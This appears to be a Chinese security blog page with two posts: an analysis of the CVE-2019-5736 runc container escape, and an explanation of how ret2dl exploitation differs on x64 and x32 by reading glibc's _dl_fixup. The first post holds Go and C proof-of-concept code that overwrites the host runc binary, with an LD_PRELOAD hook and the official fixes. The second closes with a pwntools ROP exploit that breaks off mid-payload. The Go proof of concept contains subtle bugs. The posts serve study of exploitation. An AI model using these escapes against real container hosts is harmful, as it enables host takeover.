想到这里再去控制CDP变得有些索然无味,但是js的爬虫脚本还是值得思考的点。事隔这么长时间再来看这个东西,也别有一番滋味,本来在回家之前,打印了一份paper,一路上在火车上无聊也可以研究一番,是一个关于linux kernel比较经典洞,但是思前想去,如果发一篇分析其实效果也不太好,但是我本人还是对这个洞的精秒利用比较痴迷的。

于是在回到家以后有了此篇,如果有喜欢它的朋友,你有好想法或者疑问都可以来找我交流,这里还是非常感谢fate0师傅,虽然我们素未谋面,因为他文章才有了我的那些东西。

探究 CVE-2019-5736 Runc 容器逃逸

前言

在翻漏洞的偶然看见这个洞,发现很有意思,docker 容器逃逸,出现问题在于docker 里面的runc。runc是docker中最为核心的部分,容器的创建,运行,销毁等等操作最终都将通过调用runc完成。不仅仅是docker会受影响,依赖于runc的应用都会受到影响,该漏洞将会Rewrite runc,执行任意命令,下面我们来看一看它的实现方式。

proc && execve

/proc 是一个伪文件系统,这个伪文件系统让你可以和内核内部数据结构进行交互,与真正的文件系统不同的是它是存在于内存中而不是真正的硬盘上,linux 下有一个说法一切皆文件,所有在linux上运行的程序都在/proc下有一个自己的目录,目录名字为程序的Pid号,目录里面存储着许多关于进程的信息,列如进程状态status,进程启动时的相关命令cmdline,进程的内存映像maps,进程包含的所有相关的文件描述符fd文件夹等等

其中 /proc/pid/fd 中包含着进程打开的所有文件的文件描述符,这些文件描述符看起来像链接文件一样,通过ls -l 你可以看见这些文件的具体位置,但是它们并不是简单连接文件,你可以通过这些文件描述符再打开这些文件,你可以重新获得一个新的文件描述符,即使这些文件在你所在的位置是不能访问,你依然可以打开。

还一个 /proc/pid/exe 文件,这个文件指向进程本身的可执行文件。

除了这些进程pid文件目录内的文件,还有一个比较特别的/proc/self,这文件夹始终指向的是访问这个目录/proc/pid文件夹,所以除了通过自己的pid号访问进程信息,还可以通过/proc/self 来访问,不需要知道自己的pid号。

execve 是一个内核系统调用函数,execve()fork()clone()不一样,它不需要启动新的进程,它直接替换当前执行的文件为新的文件,为新的可执行文件分配新初始化的堆栈和数据段。替换可执行文件,意味着释放调用execve()文件的IO,但这个过程默认是不释放/proc/pid/fd中的打开的文件描述符,如果你在打开/proc/pid/fd中文件的时候,特别的传参O_CLOEXEC或者 FD_CLOEXEC,那么在execve替换进程的时候,将关闭所有设置了这个选项的fd,阻止子进程继承父进程打开的fd

动态链接

在可执行文件运行的时候,由操作系统的装载程序加载库,比如在linux 下由ld.so,ld-linux.so 查找并且装载程序所依赖的动态链接对象。这里有一个需要的注意的

1
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls -al /proc/self/exe
这个时候 /proc/self/exe 并不是指向你所想象的那样为 /bin/ls, 而是/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

还有一个熟悉的LD_PRELOAD的环境变量,用于指定的动态库加载,优先级最高,可以用他做很多事,这里也可以用到。

漏洞成因

尽管docker的本意并不是来做沙盒的,容器包含着虚拟的环境,在虚拟的文件系统里面依然是root 权限,但也是算比较低的权限,也默认了容器的安全性。看似容器独立存在,不可避免的需要去思考这个过程是不是存在问题。

进入正题,runc 完成容器的初始化 ,运行 ,执行命令。我们首先来看看它是如何执行命令的。我们首先启动一个基础的Ubuntu容器

图片

接着在容器里面运行下面监听进程启动程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import (
"fmt"
"io/ioutil"
_ "os"
"strconv"
"strings"
)

func main() {
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
_, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
}
图片

上面过程我们通过监听 runc 和 ls 的执行,所以我们只需要执行

1
docker exec -it f3c ls
监听输出如下图 图片 首先是运行了docker-runc init,后执行了ls,可以看见过程中pid号没有变,可以想到runc 在启动新的进程的时候用的是syscall.Exec()execve(),在容器里面我们并不能运行docker-runc 因为namespace不一样,容器类的一切都被限定单独的namespace里面,但是你可以看到我是可以访问/proc下所有进程的信息,通过遍历/proc,我们可以得到runc 进程的pid号,并且我可以访问这个pid号下所有关于runc 的信息。同样包括runc的执行文件 ->/proc/pid[runc]/exe,这意味着我们是不是可以去尝试修改这个可执行文件,答案是不行,因为runc正在运行,如果你试着open 并且写东西进去,你会得到invalid arguments

如果想要写东西覆盖runc 必须等到runc运行结束。什么时候结束? 当execve() 运行新可执行文件。但是当runc 结束运行的时候,/proc/pid/exe将会被替换成新二进制可执行文件。所以这个时候去获得一个runc的fd文件描述符,并且保留下来,即 open()/proc/self/exe,并返回对应的fd, 这里打开的时候只需要O_RDONLY,这个时候你可以去看/proc/self/fd/下多了一个runc本身的fd,接着前面说到过,通过execve启动的新可执行文件是可以保留父进程打开的fd。

execve() 执行,会首先释放runc的IO ,这个时候就可以去写runc,通过前面打开 /proc/self/exe 拿到的fd,找到/proc/pid/fd/下对应的fd,这个时候可以用open(os.O_RDWR)打开runc,并且写入payload重置runc。

接着需要去思考如何在runc init 的时候去在进程里面进行open操作, 三种方法,分两种情况讨论:

  1. 在已经存在容器可以执行文件,通过docker exec 触发
  2. 构造恶意的容器,直接通过docker run 触发

第一种情况:

已经在容器里面了,你可以通过前面的方法等待docker-runc init 的执行,open() runc 获取fd, 再等待runc IO被释放。其中你可以通过覆盖docker exec 执行的二进制文件为 #!/proc/self/exe,到达覆盖之后执行的效果。 比如 /bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package main
import (
"fmt"
"io/ioutil"
_ "os"
"strconv"
"strings"
)
var payload = "#!/bin/bash \n echo hello > /tmp/funny"
func main() {

fd, err := os.Create("/bin/bash")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
//fmt.Println("[+] Waiting docker exec")
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
_, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}

var handleFd = -1
for handleFd == -1 {
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
流程可以理解为
循环等待 runc init的 PID --> open("/proc/pid/exe",O_RDONLY) -->循环等待execve()释放 runc的IO并覆盖runc二进制文件 --> execve()执行被覆盖 runc。

执行权限任意命令的权限为运行docker exec的权限。

第二种情况: 构造恶意的镜像,在运行容器的时候触发。这个时候你需要考虑,如何hook runc的运行过程,首先想到就是动态链接,可以设置环境变量LD_PRELOAD来给runc 添加一个动态库。这个动态库需要包含一个全局的构造函数,在被加载时候首先执行,即可以通过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

__attribute__ ((constructor)) void foo(void)
{
int fd = open("/proc/self/exe", O_RDONLY);
if (fd == -1 ) {
printf("HAX: can't open /proc/self/exe\n");
return;
}
printf("HAX: fd is %d\n", fd);

char *argv2[3];
argv2[0] = strdup("/rewrite");
char buf[128];
snprintf(buf, 128, "/proc/self/fd/%d", fd);
argv2[1] = buf;
argv2[2] = 0;
const char *ld_preload = "LD_PRELOAD";
const char *empty = "";
setevn(ld_preload,empty,1)
execve("/rewrite", argv2, NULL);
}
q3k 还提到一种方法,替换docker-runc中的动态加载库,这种方法和版本有关,我们可以先看一看docker-runc的动态加载库,

图片

可以看到有一个比较特殊的libseccomp,先去分析一下它的依赖,

图片

直接apt-get source libseccomp,seccomp 是linux 下一种安全模式,针对限制程序使用系统调用,PWN选手应该对他属性,很多用来做沙盒的环境,可以简单看一下的它的使用 列一些比较常见调用它的api seccomp_init 初始化过滤状态, seccomp_rule_add 增加过滤规则 seccomp_load 应用已经配置好的过滤内容

回到主题,前面说到我们这里可以去替换 libseccomp.so,在里面里面同样可以加一个全局的构造函数,在哪加呢? 可以去提供上面接口定义的位置src/api.c结尾直接加 。

前面说这种方法有一定的局限的情况,我尝试在低版本的docker-runc 里面是没有加载libseccomp.so,那么这种方法就不适用了,当然你也可以选择替换其他的动态库,还有一点q3k 的poc 里用来重写runc的可执行文件有一点小问题,我直接用它的poc时10次成功一次,发现问题出在写runc上,一直报错 Text file buzy , 怎么runc还会被占用呢,难道runc 在容器里又一次运行了?,经过我测试,在使用docker exec 执行命令的时候,容器里面只有 docker-runc init 一次,那么问题肯定出在容器外,由于我不想去看runc 实现过程,我把前面的简单的监测进程的程序再一次放到了容器外,于此同时再用docker exec 执行一次命令,如图下:

图片

果然在容器外面 runc 还会被再次运行,runc state 用来输出docker exec 执行结果,同样也有runc kill 和 runc delete 在后面的运行。所以这个写runc的过程可以在一个循环队列里面。稍微的改了改q3k的rewrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>


int main(int argc, char **argv) {
extern int errno;
const char *poc = "#!/bin/bash \n /usr/bin/touch /root/runc_test";
printf("HAX2: argv: %s\n", argv[1]);

while(1){
int fd = open(argv[1], O_RDWR|O_TRUNC);
if(fd>0){
printf("HAX2: fd: %d\n", fd);
int res = write(fd, poc, strlen(poc));
printf("HAX2: res: %d, %d\n", res, errno);
return 0;
}
}
return 0;
}

可以看到只要重写了runc ,docker 会自动帮你再次运行runc,下面看一看官方,对此的修复方式。

修复

官方前前后后修复了很多次,最终可以分为三种方法:

  1. memfd
  2. tmpfile
  3. bind-mount

其中tmpfile 使用文件的方法又可以分为,open(2)O_TMPFILEmkostemp(3).

接下来看看修复流程 ->

根据官方的commit runc/libcontainer/nsenter 多了一个cloned_binary.c, 并且runc/libcontainer/nsenter/nsexec.c 中nsexec()多了一行判断

1
2
if (ensure_cloned_binary() < 0)
bail("could not ensure we are a cloned binary");
根据nsenter 的doc 介绍,这是一个用来在runc init 之前设置namespace用的init 构造器,具体可以看看 nsenter.go 里面的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package nsenter

/*
#cgo CFLAGS: -Wall

extern void nsexec();

void __attribute__((constructor)) init(void) {

nsexec();

}

*/
import "C"
使用了cgo包,根据cgo的语法,如果import "C"紧跟随在一段注释后面 ,那么注释里面的东西将会被被当做c 执行,即每次只要我们 import nsenter 包,就会执行nsexec(), nsenter 只在runc/init.go 下被引用,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main

import (
"os"
"runtime"
"github.com/opencontainers/runc/libcontainer"
_ "github.com/opencontainers/runc/libcontainer/nsenter"
"github.com/urfave/cli"

)

func init() {
if len(os.Args) > 1 && os.Args[1] == "init" {
runtime.GOMAXPROCS(1)
runtime.LockOSThread()
}
}

var initCommand = cli.Command{
Name: "init",
Usage: `initialize the namespaces and launch the process (do not call it outside of runc)`,
Action: func(context *cli.Context) error {
factory, _ := libcontainer.New("")
if err := factory.StartInitialization(); err != nil {
os.Exit(1)
}
panic("libcontainer: container init failed to exec")
},
}
可以看到只要执行 runc init的时候,nsexec()就会被执行,现在再具体去看看ensure_cloned_binary(),它用来判断/proc/self/exe是不是经过处理过,为了防止runc 被重写,官方最开始用的是memfd_create(2),可以用它在内存中创建一个匿名文件,并返回一个文件描述符fd,同时你可以传递一个 MFD_ALLOW_SEALING flag,它可以将允许文件密封操作,即将无法修改文件所在的,先将/proc/self/exe 写入 这个文件内,再用 fcntl(2) F_ADD_SEALS将这段文件内存密封起来。这样一来,你再用open(2),打开/proc/self/exe去写,将不会被允许。

同时还有一个open(2) O_TMPFILE 方法,将/proc/self/exe 写入 临时文件,这种方法受限于linux 内核版本问题,需要 >=3.11,而且也受限于 glibc。官方又扩展了另一种mkostemp(3)的方法用来写临时文件,没什么特别的。

上面三种方法都显得比较浪费,memfd_create(2) 的使用直接往内存写了一个runc 大概 10M,所以官方又提供了一种看起来是最简单的方法,用 bind-mount,直接使用 绑定挂载/proc/self/exe 到一个只能读的节点上,打开这个节点,再把这个挂载节点去掉。避免了对/proc/self/exe拷贝过程,但是和tmpfile 一样,你需要先创建一个临时文件,用来挂载/proc/self/exe

整个逃逸过程精髓在于对 /proc/pid 下结构的理解,/proc/self/exe指向进程的二进制文件本身,/proc/self/fd 可以继承父进程打开的文件描述符。namespace限制了很多东西,还有capabilities,限制了想通过/proc/exe/cwd 拿到runc的真实的路径。runc其实就是管理libcontainer 的客户端。问题还是在libcontainer上,在官方最后一次commit中,在判断是否经过处理的/proc/self/exe,会有一步判断是否设置了环境变量 **a _LIBCONTAINER_CLONED_BINARY** 标记处理过,如果我先设置这个环境变量会怎么样,有兴趣的朋友去试试。

ret2dl x64和x32的差异

0x00 写在前面

在看本篇文章之前,得需要了解一下ret2dl的原理,可能更好理解一点。在学习研究通过_dl_runtime_reslove实现函数延迟绑定的时候,对比x64和x32有很多地方不一样,通过查询相关资料也没有比较好的解释,比如看雪的这篇文章 https://bbs.pediy.com/thread-227034.htm

里面提到在x64上使用这种方法的时候,需要把link_map+0x1c8置零,但是为什么呢?

下面的评论也有问,为什么在往bss写在_dl_fixup过程中需要用到相关伪造的结构,需要在bss上再加一段偏移?

也有人对此文件进行回答,因为在_dl_fixup会引用到位置较低的地方。什么是引用较低的位置?

如果你去查相关为什么要把link_map+0x1c8置零的?

有相关文章会告诉你如下的解释:

1
2
3
4
5
6
7
8
9
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

DT_VERSYM是与Symbol table 对应的一张存储每个符号版本index的表,相当于一个ElfW(Half) 数组。

这里没有把ElfW这个宏拆开,这里是代指Elf64_HalfElf32_Half两种结构,可以看到每次取的版本序列下标是在SYMTAB节里面的偏移地址。

我们都只知道这里偏移相对来说是比较大的,使得vernum[ELFW(R_SYM)(reloc->r_info)]读取出错。

其实我在这里对这个回答打了一个大大疑问,真的是这样吗??

这个解释是针对x64情况下解释,为什么我会有疑问呢?

为什么在x32下,没人关注这个问题呢?是否和前面提到的为什么要在bss前面在偏移遥想呼应呢?

于是有了此文,希望此文能给初识ret2dl的同学解惑。

0x01 DT_VERSYM

为了能从根本解决上面的问题,只有去读glibc的相关源码。

首先我们解决为什么大多数人只在x64上关注_dl_fixup里面对符号版本的读取。

我们先来了解一下,引用符号版本到底有什么用?

_dl_fixup调用过程有一个check_match函数这个函数是一个验证函数,整个查找在动态库里面查找对应符号的位置过程

首先会通过符号名字的hash值在动态库的HASHTABLE找到对应的位置,然后应用调用check_match这个函数进一部验证找到的符号位置,是不是我们需要,会通过两个方面,符号名的对比和符号版本的对比。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
if (version != NULL)
{
if (__glibc_unlikely (verstab == NULL))
{
....
}
else
{
/* We can match the version information or use the
default one if it is not hidden. */
ElfW(Half) ndx = verstab[symidx] & 0x7fff;
if ((map->l_versions[ndx].hash != version->hash
|| strcmp (map->l_versions[ndx].name, version->name))
&& (version->hidden || map->l_versions[ndx].hash
|| (verstab[symidx] & 0x8000)))
/* It's not the version we want. */
return NULL;
}
}
else
{
/* No specific version is selected. There are two ways we
can got here:

If the library does not provide symbol version information
there is no problem at all: we simply use the symbol if it
is defined.
if (verstab != NULL)
{
if ((verstab[symidx] & 0x7fff)
>= ((flags & DL_LOOKUP_RETURN_NEWEST) ? 2 : 3))
{
/* Don't accept hidden symbols. */
if ((verstab[symidx] & 0x8000) == 0
&& (*num_versions)++ == 0)
/* No version so far. */
*versioned_sym = sym;

return NULL;
}
}

If the library does not provide symbol version information there is no problem at all

对应符号版本的处理有两种,如果指定了version的值,就严格的进行对比,如果没有指定version的值,即version的值为NULL的情况,可以看到上面的引用,那也是没有问题的

我们可以认为原二进制文件是没有提供DT_VERSYM节的,这是无关紧要的,只要找到与符号名字对应的符号,返回即可。这里需要我们对version有一个基本的了解。

再回到关于version的获取上:

1
2
3
4
5
6
7
8
9
10
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

先取对应符号版本r_found_version结构在l->l_versions的下标

下标的位置等于 DT_VERSYM节位置加上sizeof(ElfW(Half))*(ELFW(R_SYM) (reloc->r_info))

这个和取符号ELfW(Sym)的结构的时候一模一样,DT_SYMTAB节的位置加上sizeof(ElfW(Sym))*(ELFW(R_SYM) (reloc->r_info))

不同点在于两个节的基址和相关结构的大小不一样,偏移都是一样的。

在这里我们需要考虑这两个地方的取值

首先一定要保证ELfW(Sym)的取值绝对要一定正确,寻找符号需要的变量全在里面,所以这个时候是没办法去兼顾version的取值。

在version的取值上,我们不能再去考虑为对应符号伪造正确的version下标,我们可以做到让下标等于0,l->l_versions[0]一般来说这个位置的r_found_version的结构都是NULL,即保证了version是NULL

前面又说道,我们可以不指定符号的版本。那么问题来了,我们如何保证取到ndx的值等于0呢?

DT_VERSYM节的位置其实就是.gnu.version的节的位置,我们首先要确定这个节的基址,目标文件在装载的时候,相同类型段(这里用段,段一般用来只节在文件中称呼),会合并到一起,减少分页产生的碎片。具体的位置,我们可以用readelf来看一下

1
2
3
4
5
6
7
8
9
10
11
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .jcr .dynamic .got

可以看到.gnu.verison节在运行的时候,跟在.dynsym(DT_SYMTAB).dynstr(DT_STRTAB)节的后面,得想个办法让从.gnu.version节开始的偏移,落在0x00上。

这个时候我们再来看一下运行时的内存分布,下面内存分布是elf32的分布。

1
2
3
4
5
gef➤  vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /root/c_test/2019-07-31/32.out
0x08049000 0x0804a000 0x00000000 r-- /root/c_test/2019-07-31/32.out
0x0804a000 0x0804b000 0x00001000 rw- /root/c_test/2019-07-31/32.out

我们能很快找到其实是落在

0x08048000 0x08049000 0x00000000 r-x /root/c_test/2019-07-31/32.out

这一块的内存分布上的,我们再去看看这块内存分布上最后一个节的end结束在哪?

.eh_frame end_addr = 0x8048768 , 按照分页的机制,每个节应该每次都是从0x1000开始的,就算不足0x1000,也要用一页。

所以从0x08048768-0x08049000这一段都是0x00填充的,我们得想办法,让version_ndx的偏移落到这个部分。

我们来算一下需要多少偏移量才行:

.gnu.verison start_addr =0x080482E4 (0x8048768-0x080482E4) / sizeof(ElfW(Half)) = 0x242

在x64和x32上ElfW(Half)的结构都是2个字节。

想一下至少得0x242个偏移量,这个偏移量得看取ElfW(Sym)这个过程允不允许。

伪造的相关结构要放在bss上,我们来看一下最大的偏移量是多少:

.dynsym start_addr = 0x080481D8 .bss对应的内存块落在 0x0804a000 0x0804b000 0x00001000 rw- /root/c_test/2019-07-31/32.out

即可计算得

(0x0804b000-0x080481D8) / sizeof(Elf32_Sym) = 0x2e2

经过计算0x2e2 > 0x242,所以我们是可以做到让version_ndx落在未使用的0x00上的,只需要把伪造的结构往.bss位置后面移动。

这里我们解答了为什么要在.bss节上还有加偏移量,不直接在.bss节上直接写。上面都是在x32的情况下。

所以我们不用考虑要去位置version结构了,下面再来看看x64下的情况,还是按照上面分布计算上面的两个偏移量 内存分布如下

1
2
3
4
5
6
7
gef➤  vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /root/c_test/2019-07-31/64.out
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /root/c_test/2019-07-31/64.out
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /root/c_test/2019-07-31/64.out
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /root/c_test/2019-07-31/64.out
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /root/c_test/2019-07-31/64.out

.gnu.verison start_addr =0x400429 即落在第一个内存页上,计算如下 (0x401000-0x400429) / sizeof(ElfW(Half)) = 0x5eb 即需要最小偏移量

.bss star_addr = 0x404040 即落在最后一个内存页上计算如下 (0x405000-0x404000) /sizeof (Elf64_Sym) = 0xaa,即最大偏移量。

0xaa < 0x5eb我们没办法让verison_ndx落在未使用的页空间上。x64和x32的情况出现了不同,这也是x32为什么没人去考虑version的问题

有人可能会想,我们也没必要让version落在未使用的页上,但是这具有随机性,不具有通用性。可能可以实现,也可能不可以,所以我们必须排除随机。

所以在x64上我们得想办法让version不成为我们的阻碍。继续看_dl_fixup的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_ve

rsion *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
...
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}

看第一个if分支,我可以让第一个if不成立直接进入else分支,这个分支会直接返回 (l->l_addr+ sym->value)的地址,可能有的同学会想进入第一个if分支,让紧接的if语句不成立,不是同样可以让version=NULL吗?

那我们接着往下看,接着会进入_dl_lookup_symbol_x函数的调用,通过遍历scope和其中的link_map的链表查找符号的位置

1
2
3
4
5
6
7
8
/* Search the relevant loaded objects for a definition.  */
for (size_t start = i; *scope != NULL; start = 0, ++scope)
{
int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
&current_value, *scope, start, version, flags,
skip_map, type_class, undef_map);
if (res > 0)
break;

scope = l->l_scope ,

再回过来头想一想if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)

如果我想让这个不成立,那我们就得伪造l->l_info[VERSYMIDX (DT_VERSYM)]这个位置为NULL,那就得知道l的位置,如果l的位置无法泄露,那么我们就得重新伪造一个link_map

再看上面,那么这个link_mapl_scope也要伪造,l_scope是一个保存r_scope_elem的二级指针,r_scope_elem结构保存是link_map的指针数组,前面l是不知道的,那么这里这个l_scope的也是没办法伪造的,所以这里这条路走不了。

还是得看else的那个分支,其实else里面的(l->l_addr+ sym->value)就相当于一个任意地址执行,如果我们想要执行system,我们知晓libc的版本,那么这里我们需要一个地址已经绑定了的符号,__libc_start_main是一个不错的符号位置

这里需要把l->l_addr的值等于__libc_start_main的地址,然后伪造lsym->value的值为libc里面符号的偏移量。所以这里直接把got表里面__libc_start_main的位置当做link_map,_dl_fixup里面用link_map取了STRTAB,SYMTAB ,JMPREL的三个节的dyn结构,所以还需要去相应的位置写入伪造的结构。

切记,这里不能像在x32用leave; ret的gadget来劫持栈把rop链也放在bss节上,因为这里的_dl_runtime_reslove变成了_dl_runtime_resolve_xsave,在栈上有取地址写的操作。会造成地址写不了。

还有在_dl_fixup最后return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);里面注意在rel_addr可写,可以修改伪造rela的结构让它指到libc.bss节上。

下面贴上,我自己按照理解写的x64下,只有read的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *
context.log_level='debug'

leave_ret = 0x0000000000401194 #leave ; ret

read_plt_addr = 0x401050

read_got_addr = 0x404028

dl_addr =0x401026
#strtab_addr = 0x4003D8
#symtab_addr = 0x400330
#jmprel_addr = 0x4004A0
bss_addr = 0x404040 + 0x30


libc_start_main_got_addr = 0x403FF0

system_offset = 0x20a10


buffer_area = bss_addr + 8*6 + 0x10 + 0x100
strtab_addr = symtab_addr = jmprel_addr = buffer_area


fake_dyn = p64(0)
fake_dyn +=p64(buffer_area)
fake_dyn_addr = bss_addr + 8*6

fake_link_map = p64(libc_start_main_got_addr) #l_addr
fake_link_map += "\x00"*(0x68-len(fake_link_map))+p64(fake_dyn_addr) #link_map+0x68 == strtab
fake_link_map += p64(fake_dyn_addr)
fake_link_map += "\x00"*(0xf8-len(fake_link_map))+p64(fake_dyn_addr) # link_map+0xf8 == jmprel



#rel
#typedef struct
#{
# Elf64_Addr r_offset; /* Address */
# Elf64_XWord r_info; /* Relocation type and symbol index */
# Elf64_Sxword r_addend; /* Addend */
#} Elf64_Rela;

fake_symtab_offset = 1
fake_rela = p64(0x197050) #setbuf_got_Addr
fake_rela += p64((fake_symtab_offset << 32) + 7)
fake_rela += p64(0)

#sym
#typedef struct
#{
# Elf64_Word st_name; /* Symbol name (string tbl index) */
# unsigned char st_info; /* Symbol type and binding */
# unsigned char st_other; /* Symbol visibility */
# Elf64_Section st_shndx; /* Section index */
# Elf64_Addr st_value; /* Symbol value */
# Elf64_Xword st_size; /* Symbol size */
#} Elf64_Sym;
fake_strtab_offset = 0x18 + 0x18
fake_sym = p32(fake_strtab_offset)
fake_sym +=chr(0x12)
fake_sym +=chr(0x3)
fake_sym +=p16(0)
fake_sym +=p64(0x20a10)
fake_sym +=p64(0)

sh = process('./64.out')
#sh = process('./64.out')
raw_input('aaaa')

payload = "A"*112
payload += p64(bss_addr)
payload += p64(0x4011F2) # pop rbx , pop rbp , pop 12, pop13, pop r14, pop r15 , ret
payload += p64(0)
payload += p64(1)
payload += p64(read_got_addr)
payload += p64(0)
payload += p64(bss_addr)
payload += p64(0x200)
payload += p64(0x4011D8)# mov rdx ,15;mov rsi, r14;mov edi, r13d;call qword ptr [r12+rbx*8];add rbx, 1;cmp rbp, rbx;jmp 0x04011ee;
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx 0x68_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0x68) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx 0x70_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0x70) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx 0xf8_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0xf8) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx
payload += p64(bss_addr) # pop rbp
payload += p64(0) # pop 12
payload += p64(0) # pop 13
payload += p64(0) # pop 14
payload += p64(0) # pop 15
